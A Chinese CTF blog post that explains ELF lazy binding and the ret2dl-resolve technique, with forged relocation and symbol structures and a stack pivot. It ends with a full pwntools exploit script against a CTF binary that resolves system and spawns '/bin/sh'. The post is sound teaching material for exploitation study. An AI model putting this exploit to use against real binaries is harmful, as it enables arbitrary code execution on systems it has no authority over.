ret2dl-resolve

pwn真是技巧多。。。这是一个比较麻烦的攻击技巧,特地开一个空文章来写

2018年修改

发现博客居然被好多人看了。。。回过头来看发现这个介绍的return-to-dl-resolve并不是标准攻击方法QvQ,所以在文章后半段会介绍常用的ret2dl-resolve应该如何攻击。


return-to-dl-resolve

我们知道,程序分为静态链接和动态链接,在处理动态链接的时候,elf文件会采取一种叫做延迟绑定的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正确定这个函数在进程中的位置,从而在第二次调用的时候减少绑定的时间。

延迟绑定(lazy load)

这里我们以HBCTF中的pwn200的程序为例子讲解一下漏洞的利用。首先我们以read函数为例子:

在这里,read函数的地址是0x08048380。这里的read函数位于.plt段内,内部并没有什么实际内容,而是跳转到ds:08049804指定的位置,然后我们跟踪过去看:

可以看到,这个地方是一个叫做.got.plt的段的位置,但是这里具体写了什么呢,IDA并没有告诉我们,所以这里我们要尝试直接使用gdb跟踪看看:

可以看到,这个位置就是read函数中,jmp指令的下一个指令的地址。由于jmp指令是取出当前地址中存储的值作为对应地址,也就是说接下来会跳转到地址0x080498386中。由于IDA中并没有将后续的指令显示出来,我们在gdb中截图为:

这里关注jmp之后的两个指令。这两个指令首先push了一个0x0(这个值叫做reloc_offset,下文会提到),然后跳转到了这个0x08048370地址中,这个地址中的代码为:

1
2
0x8048370: push DWORD PTR ds:0x80497fc
0x8048376: jmp DWORD PTR ds:0x8049800

这里把地址0x080497fc压栈并且调到上个地址下一个位置中存放的内容中去,这个0x080497fc地址中的函数叫做**_dl_runtime_resolve(动态链接运行解析?)**

这里我们来分析一下这些过程在做什么:
首先,程序为了解析read函数的位置,跳转到了.plt(Procedure Linkage Table, 程序连接表)中查询read函数的地址。然而我们此时是第一次调用,还暂时未知read函数所在的位置,于是程序在.got.plt中存放的不是read函数真正的地址,而是read函数在.plt段中地址+6的一个push + jmp的地址。为了实现解析的过程,.plt中会存放当前函数在.rel.plt节中的偏移。ELF文件中的文件信息是以节section的形式存在的,这个read函数的节也不例外,所以当我们去查找read函数的基本信息的时候,自然是要在对应的节中查找。这个节的查看方式我们可以用

1
readelf -d

来查看dynamic(重定位节):

这里我们关注这四个节:

  • JMPREL : .rel.plt的开始位置,是一个记录了动态重定位表的segment
  • REL: 重定位函数段开始的位置,也就是之前提到的,函数再跳转至**.plt**段之后返回,之后第二次跳转的位置。
  • RELSZ: 重定位表单总共的大小,32bytes
  • RELENT: 每一个表单的大小,8 bytes
    通过分析,我们能够找到程序定义的重定位表的开始位置,同时我们可以从上述得知,我们此时共有四项需要被重定位的内容。我们用
    readelf -a
    整体查看一下:

    这个.rel.dyn中存放的是需要重定位的变量,而**.rel.plt**则是存放了我们需要重定位的函数。这个段中的函数的数据结构为:
1
2
3
4
5
6
7
8
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

也就是说,前面一段存放的是当前函数的偏移量,后面存放的则是当前函数的信息。我们看还未运行时候的read中存放的是:

正好就是我们开始讨论的那个read跳转到的.got.plt的地址,在结构体中就是r_offset
然而光知道上述信息,我们怎么能够在动态链接中找到我们指定的函数呢?这里就要谈到另一个节**.dynsym**

这个节存放的是所有动态符号表中所包含的符号,也就是.rel的集合。这个表中的内容的结构体为:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // 符号的名字(在str tbl中的下标)
Elf32_Addr st_value; // 符号对应的值
Elf32_Word st_size; // 符号的大小
unsigned char st_info; // 符号的种类和绑定情况
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // 当前所在节的下标
} Elf32_Sym;

然后可以看到我们例子中的read为

我们回到上述。rel.plt图中所示,我们的read->r_info == 0x107,此时的ELF32_R_SYM(info)(字面理解就是在.dynsym中的偏移位置)就是1,正好就是第一条数据。此时read中存放的st_name = 0x27,然后我们此时会去相应的.dynstr节中查找对应的下表指向的字符串:



通过上述方法,我们就能够找到"read"这个符号。我们这里可以回想一下PA实验(或者所gdb中)是如何完成变量表达式求值这个过程的:我们首先将字符串读入一个函数中,然后我们便利所有的符号表,从而找到一个符号名字与我们提供的字符串的名字相同的符号,然后再在相应的符号表中查询对应的值。类比一下的话,这个动态链接函数的过程也就是类似的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// param link_map:链接标识符
// param reloc_offset:就是我们在调用函数的时候传进去的那个参数
_dl_runtime_resolve(struct link_map *l, ElfW(Word) reloc_offset)
{
// 首先找到plt中的相对位置,也即是.rel.plt中的对象ELF_rel
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后找到.dynsym中的Elf_Sym对象
const ElfW(Sym) *sym = &symtab[ELF32_R_SYM(reloc->r_info)];
// 检查reloc->r_info的最低位R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 通过加上strtab加上st_name,得到当前函数对应的字符串名,最后返回result
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 通过查找对应字符串,找到此时的read的函数地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把地址填充到之前那个位置上
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

此处的link_map为一个很长长长长的结构体,里面的结构大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Base address shared object is loaded at. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker.
They may change without notice. */
/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
......

是一个用来记录当前进程中的每一个.so文件的基本信息,里面包含了一些与函数导入相关的内容。

调用这个_dl_runtime_resolve的时候,主要操作为:

  1. 首先找到plt中的相对位置,也即是.rel.plt中的对象ELF_relreloc = (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  2. 利用这个reloc计算得到.dynsym中的ELF_rel的位置&symtab[ELF32_R_SYM(reloc->r_info)]
  3. 然后利用偏移量找到当前动态链接函数对应的字符串strtab + sym->st_name
  4. 利用字符串和link_map结合,在进程中将函数给找出来。

以上过程便是ret2dl-resolve攻击方式需要知道的工作流程。接下来我们介绍针对这个流程的几个弱点进行的攻击思路。

攻击方法

在讨论攻击方法之前,我们首先要明白动态链接过程中的关键参数:

  • 当前函数传入的,自身在.rel.plt节中的偏移量
  • 通过偏移量找到的当前函数的对应的动态链接的函数名字符串

首先通过reloc_offset能够找到当前函数在.rel.plt中的偏移量,然后能够找到函数在动态链接库中存放的字符串,从而能够定位到函数本身的地址。因此这个过程中可以针对这两个地方进行攻击

同时,根据上述提到的方法,我们能够总结出当前攻击的特征:

  • 需要存在栈溢出点
  • 不需要泄露libc的地址,即可完成攻击
  • 可以使用到未在导入表中出现过的函数
  • 需要一点点ROP

非典型的攻击手段(直接伪造整个.dynstr动态链接的函数名称字符串)

此方法相对简单,但是其需要的条件比较苛刻

  • 此时允许读入的字符串数量较大
  • 在完成构造之后,需要存在至少一个未进行延迟绑定的函数。

这次的题目提供的解法关键就是修改这个**.dynstr**节。我们把这个节里面指定的字符串改成我们指定的字符串,那么这个_dl_fixup在查找的时候就会去查找我们修改过的函数的地址,从而调用我们想要调用的函数:

也就是说,攻击成功的关键就在于找到.dynstr的位置。我们首先使用
readelf -a infoless
找到.dynstr的地址:

也就是说,我们需要把这个地址改成我们伪造的字符串地址。这个.dynstr的规则是:

  • 开头是空字符
  • 字符串之间用\x00相间隔
    然后我们需要找到这个地址存放的地方,从而将这个地址修改成指定的字符串地址。使用readelf -R .dynamic infoless指令能够看到当前程序中的.dynamic段中所有的entries的地址,在这里能够找到这个.dynstr所在的位置。

    最终通过将这个红框中的地址换成我们伪造了的动态链接的函数名称字符串的地址,从而让解析过程总,将指定的函数(这里以fflush为例子)解析成我们指定的函数。

典型攻击手段(修改偏移量)

之前提到,整个的搜索流程最依赖的就是传入的reloc_offset,也就是整个流程中最开始的确认的位置。如果我们修改了reloc_offset,我们刚刚提到的四个流程中,除了得到动态链接库中对应函数的字符串外,其他的结构体都需要进行伪造。不过相对的,这里只需要能够伪造我们选择的一个函数即可。

攻击的流程需要做到如下的事情:

  • 伪造某个函数的_dl_runtime_resolve(struct link_map *l, ElfW(Word) reloc_offset)过程,具体来说就是通过修改传入参数offset,让整个识别过程偏移到一个我们可控的区域内,然后完成对变量ElfW(Sym)ELF_rel以及Symtab三个值的伪造,从而伪造整个动态绑定的过程
  • 使用ROP手段,控制函数的栈,让函数栈能够迁移到整个伪造的攻击栈上

首先这里的ROP链构造,我们构造如下栈

1
2
3
4
5
6
7
+---------------------+
| pop ebp; ret |
+---------------------+
| fake_stack_addr |
+---------------------+
| leave ; ret |
+---------------------+

通过将栈构造成如上的形式,首先利用pop,将ebp的地址修改程我们指定的一个栈的起始地址,然后通过leave指令,将当前的ebp的值传递给esp,从而实现将整个栈迁移到fake_stack_addr的功能。

tips:leave这个指令执行完esp <- ebp之后,还会执行一次pop,所以在整个fake_stack_addr_的最开始要放入一个padding用于传递给ebp

之后esp就相当于指向了一个受控制的栈。在这个栈中,我们尝试去调用一个_dl_runtime_resolve,进行一次伪造的动态函数地址绑定。接着上面的栈,此时我们的栈内容为:

1
2
3
4
5
6
7
8
9
10
11
+---------------------+
| padding |
+---------------------+
| addr_push_link_map |
+---------------------+
| fake_rel_offset |
+---------------------+
| ret_addr |
+---------------------+
| arg1 |
+---------------------+

这里的ret_addr和arg1可以通过动态调试得知。ret_addr为当前整个绑定完成之后会回到的返回地址,而arg1则是发生绑定过程中所调用的函数所在的位置。在攻击的最后一步,需要在arg1的为之中填写我们需要调用的参数(例如我们最后将函数绑定到了system函数上,此处我们就应该填写/bin/sh的地址)

这里我们要伪造成任意一个函数调用_dl_runtime_resolve的样子。设此时我们伪造的Elf32_Rel结构体起始地址为fake_reloc,这个fake_rel_addr最好设置程.bss段上的一个位置。由于rel_offset在函数中_dl_runtime_resolve的用法如下:

1
Elf32_Rel reloc = addr(.rel.plt) + reloc_offset

则此时我们需要伪造的rel_offset为

1
fake_rel_offset = fake_reloc - addr(.ret.plt)

之后我们来讨论关于这个fake_reloc的伪造过程。
首先这个fake_reloc的结构体为:

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

第一个变量中填写了需要重定位的函数的.got表地址,此处可以随意选择一个函数作为触发,这里以fflush函数为例。之后的r_info则是会跳转到Elf32_Sym结构体上:

1
2
Elf32_Sym *sym = &symtab[ELF32_R_SYM(reloc->r_info)];
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

这里我们发现,程序会检查reloc->r_info,观察其低八位是否为ELF_MACHINE_JMP_SLOT(也就是0x07)。因此我们可以让我们的fake_Elf32_Sym的地址按照0x100对齐。同时,因为是以取地址的形式进行的,所以这个地址需要按照0x10(也就是一个ELF32_Sym结构体的大小)进行安排。此处我们这个Elf_Rel结构体应该为:

1
2
3
4
5
+---------------------+
| fflush@got.addr |
+---------------------+
| fake_r_info |
+---------------------+

其中fake_sym_addrfake_r_info满足数学关系

1
2
fake_r_info&&0xff == 0x07
fake_sym_addr = fake_r_info / 0x10 + sym_addr

然后是结构体Elf32_Sym结构体,结构体如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; // 符号的名字(在str tbl中的下标)
Elf32_Addr st_value; // 符号对应的值
Elf32_Word st_size; // 符号的大小
unsigned char st_info; // 符号的种类和绑定情况
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // 当前所在节的下标
} Elf32_Sym;

现在已经到了最后的阶段,此时我们只需要修改一个st_name,让这个st_name指向一个我们可控的字符串地址,之后的内容可以完全照搬内存中的值:

此时的结构为

1
2
3
4
5
6
7
8
9
+---------------------+
| fake_st_name |
+---------------------+
| 0 |
+---------------------+
| 0 |
+---------------------+
| 12 |
+---------------------+

此时fake_st_name要满足

1
fake_st_name = func_name_addr - addr(.dynstr)

至此,整个动态绑定就完成了。完成后,当前的fflush函数就会绑定到另一个函数身上,完成控制流的截获。

整体攻击流程

首先,我们利用当前栈溢出,控制函数调用read函数,从而进行输入的控制:

这里注意,由于我们需要切栈,所以我们还需要一次ROP的机会,要让函数回到这个可以被exploit的函数上。

之后我们伪造当前的栈,以及在此处伪造动态绑定,结构体如图所示

在最后的位置,我们可以往其中塞入一些字符串,例如说调用的函数"system"的字符串,以及要调用的"/bin/sh"字符串等。于是之后,我们可以将当前构造改造为:

这里比较麻烦的是确定fake_r_info,因为我们需要满足的条件为

  • fake_r_info&&0xff == 0x07
  • fake_sym_addr = fake_r_info / 0x10 + symtab_addr

则此时我们可以基于之前的地址来求当前地址的位置:

  • 首先我们在fake_rel_offset的基础上+8,跳过当前结构体
  • 然后我们在这个地址的基础上强行计算当前地址,即fake_sym_addr = fake_rel_offset+0x8 - symtab_addr
  • 这个基础上,我们检查其对其的偏差值,即align = 0x10 - (fake_sym_addr & 0xf)
  • 最后我们重新计算fake_sym_addr的值,即fake_sym_addr = align + fake_sym_addr
  • 最后用得到的fake_sym_info计算,就能得到我们此时填写的内容为fake_r_info = ((fake_sym_addr - symtab_addr) / 0x10) | 0x7

之后我们的fake_st_name就可以填写我们之前确定的"system"的字符串的地址减去strtab_addr的偏移量,即可完成构造

第二次来到受攻击的函数上后,我们布置好ROP链,就能够将esp转移到.bss段上,完成攻击。

附上这种方法的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# -*- coding:utf-8 -*-
from pwn import *
from time import sleep
DEBUG = True
if DEBUG:
ph = process("./infoless.infoless")
context.log_level ="debug"
context.terminal = ['tmux','splitw','-h']
gdb.attach(ph, "break *0x080484dc")
else:
ph = remote("127.0.0.1",9999)
# base address
vul_addr = 0x080484CB
read_plt_addr = 0x08048380
read_got_addr = 0x08049cac
bss_addr = 0x08049820
dlresolve_addr = 0x08048370
# FAKE FRAME
base = bss_addr + 0x400
fake_frame = base + 0x80
rel_plt_addr = 0x08048320
symtab_addr = 0x80481bc
strtab_addr = 0x804825c
# attack tool
exp_padding = 'a'*22
padding = 'aaaa'
pop_ebp = 0x080485bb
lev_addr = 0x08048438
def call_read():
""" first time call read, prepare the fake frame and set the rop at the end
"""
# jmp to read
buf = ""
buf += exp_padding
buf += p32(read_plt_addr)
buf += p32(vul_addr)
buf += p32(0)
buf += p32(base)
buf += p32(0x1000)
buf += 'a'*(60 - len(buf))
return buf
def align_sym_addr(rel_offset, symtab_addr):
sym_addr = rel_offset + 0x8 - symtab_addr
align = 0x10 - sym_addr & 0xf
sym_addr = align + sym_addr
return sym_addr + symtab_addr
def fill_fake():
""" this time we prepare fake frame to call runtime_dl_resolve and prepare for
our attack address
"""
# calc all fake address
# first prepare call _runtime_dl_resolve
# because we have padding and others thing at here, we could give
# empty space to do others thing here
fake_base = fake_frame
fake_rel_offset = fake_base - rel_plt_addr
# and we could fulfill r_offset with read_got
# then we calc the r_info
log.info("fake_base is %x"%fake_base)
fake_sym_addr = align_sym_addr(fake_base, symtab_addr)
log.info("fake_sym_info is %x"%fake_sym_addr)
fake_r_info = (((fake_sym_addr - symtab_addr) / 0x10 ) << 8 )| 0x7
log.info("fake_r_info is %x, high index is %x, and low is %x"%(fake_r_info, fake_r_info >> 8, fake_r_info &0xff))
# finally, we could write system address at here
# fake_st_addr is "system", and fake_st_addr + 0x8 is "/bin/sh"
fake_st_addr = fake_sym_addr + 0x10
bin_addr = fake_st_addr + 0x8
log.info("bin_addr is %x"%bin_addr)
fake_st_addr = fake_st_addr - strtab_addr
# junk
buf = ""
buf += "bbbb"
buf += p32(dlresolve_addr)
buf += p32(fake_rel_offset)
buf += p32(read_plt_addr)
buf += p32(bin_addr)
buf += (0x80 - len(buf))*'a'
# fake_Elf32_Rel
buf += p32(read_got_addr)
buf += p32(fake_r_info)
# and we put some padding
buf += (fake_sym_addr - (base + 0x80 + 8))*'a'
# fake_Elf32_Sym
buf += p32(fake_st_addr)
buf += p32(0)
buf += p32(0)
buf += p32(12)
# finally, we put "system" and "/bin/sh"
buf += "system\x00\x00"
buf += "/bin/sh\x00"
return buf, bin_addr
def pwn():
log.info("prepare...")
buf = call_read()
ph.send(buf)
sleep(0.1)
log.info("waiting for bss prepare")
buf, bin_addr = fill_fake()
ph.sendline(buf)
log.info("succes! we wait for finally")
raw_input()
# use ROP to move esp and jmp to rumtime_resolve
buf = ""
buf += exp_padding
buf += p32(pop_ebp)
buf += p32(base)
buf += p32(lev_addr)
ph.sendline(buf)
ph.interactive()
if __name__ == "__main__":
pwn()

总结

首先既然是写的博客,肯定是要被大家看的。。。所以每次写的时候还是要注意注意再注意。。尤其是我这种粗心的人QvQ
然后是每种攻击方法要深刻理解。最初看到这个方法的时候,以为是通过符号进行查找的一种攻击方法,所以想到说要利用很大的控制地址,而且需要关掉很多保护等等。后来学习过程中才明白整个攻击的逻辑,发现其实限制条件没有我想象的那么多。
最后是exp写的很不熟练,最近有阵子没玩ctf,也没怎么研究漏洞啥的,结果写个exp又调了一整天。。。尤其这一次还是有了很多类似的exp的帮助的情况下。。。真的很佩服各位比赛的时候居然能这么快的调试exp,菜鸡果然还是菜啊。。。